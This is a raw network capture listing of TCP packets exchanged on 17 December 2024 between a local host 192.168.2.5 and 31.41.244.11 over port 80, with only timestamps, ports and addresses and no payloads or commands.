Dec 17, 2024 08:03:40.012115955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.014554024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.014625072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.014671087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.014723063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.017138004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.017196894 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.017205954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.017255068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.019778013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.019897938 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.019959927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.022201061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.022265911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.022295952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.022347927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.024735928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.024837017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.024900913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.027277946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.027347088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.027414083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.027466059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.029819965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.029916048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.029979944 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.032495975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.032598972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.032670021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.032787085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.035306931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.035505056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.035538912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.035615921 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.038598061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.038716078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.134763956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.134824038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.134906054 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.134953976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.135796070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.135857105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.135927916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.136023998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.137841940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.138006926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.138070107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.139911890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.140064001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.140117884 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.141998053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.142051935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.142131090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.142178059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.144078970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.144155979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.144237995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.144296885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.146045923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.146106958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.146169901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.146647930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.148086071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.148165941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.148190022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.148221970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.150026083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.150093079 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.150135040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.150201082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.151947021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.152004957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.152092934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.152144909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.153877974 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.153949022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.153973103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.154023886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.155745029 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.155808926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.155872107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.155922890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.157740116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.157876015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.157937050 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.159452915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.159540892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.159589052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.159641981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.161339045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.161393881 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.161442995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.161559105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.163259983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.163348913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.163427114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.163480997 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.165005922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.165157080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.165185928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.165280104 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.166759968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.166831970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.166878939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.166943073 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.168617964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.168711901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.168741941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.168796062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.170417070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.170547962 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.170603037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.170758009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.172249079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.172306061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.172317028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.172363043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.174034119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.174107075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.174155951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.174340963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.175874949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.175935984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.176000118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.178037882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.178096056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.178163052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.178216934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.179657936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.179725885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.179755926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.179814100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.181324959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.181406975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.181432009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.181498051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.183139086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.183197021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.183310032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.183379889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.184958935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.185014009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.185019970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.185070038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.186789989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.186970949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.187074900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.188644886 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.188680887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.188698053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.188730001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.191364050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.191420078 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.191425085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.191469908 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.192626953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.192681074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.192704916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.192755938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.194082022 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.194154978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.194220066 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.194474936 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.195981026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.196055889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.196122885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.196167946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.197727919 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.197779894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.197846889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.197921038 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.199606895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.199641943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.199671030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.199681044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.201400995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.201482058 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.201539040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.201585054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.203210115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.203263998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.203357935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.203407049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.205003977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.205071926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.205113888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.205282927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.206842899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.206943035 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.206995964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.207046986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.208667994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.208719969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.208765030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.208813906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.210477114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.210534096 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.210578918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.210799932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.212265015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.212383032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.212438107 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.214138985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.214200020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.214376926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.214430094 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.215939045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.215996027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.216017008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.216070890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.217803955 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.217863083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.217911959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.217968941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.219594002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.219650984 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.219705105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.219779968 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.221412897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.221529961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.221532106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.221590042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.223212957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.223273039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.223354101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.223400116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.225054026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.225179911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.225233078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.226969957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.227025986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.227039099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.227076054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.228662968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.228728056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.228801966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.228854895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.230530024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.230583906 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.230587959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.230645895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.327024937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.327083111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.327104092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.327197075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.327646971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.327775002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.327846050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.327950001 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.329145908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.329207897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.329255104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.329310894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.330610037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.330672026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.330745935 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.330801964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.332132101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.332199097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.332252026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.332309961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.333596945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.333659887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.333699942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.333755016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.335021019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.335109949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.335134983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.335195065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.336436033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.336498976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.336571932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.336628914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.337874889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.337939978 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.338030100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.338107109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.339293957 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.339349985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.339358091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.339410067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.340689898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.340748072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.340804100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.340862989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.342045069 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.342111111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.342196941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.342315912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.343424082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.343496084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.343521118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.343713045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.344927073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.344983101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.345040083 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.346112013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.346198082 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.346254110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.346312046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.347443104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.347502947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.347589016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.347652912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.348750114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.348826885 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.348886967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.348942995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.350101948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.350167990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.350198984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.350349903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.351382017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.351440907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.351485968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.351543903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.352672100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.352725983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.352746010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.352777004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.353954077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.354020119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.354094028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.354151964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.355222940 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.355287075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.355389118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.355458975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.356492996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.356628895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.357145071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.357777119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.357841015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.357914925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.357964039 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.359083891 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.359138966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.359191895 CET	49900	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:40.360321999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:40.360383034 CET	49900	80	192.168.2.5	31.41.244.11
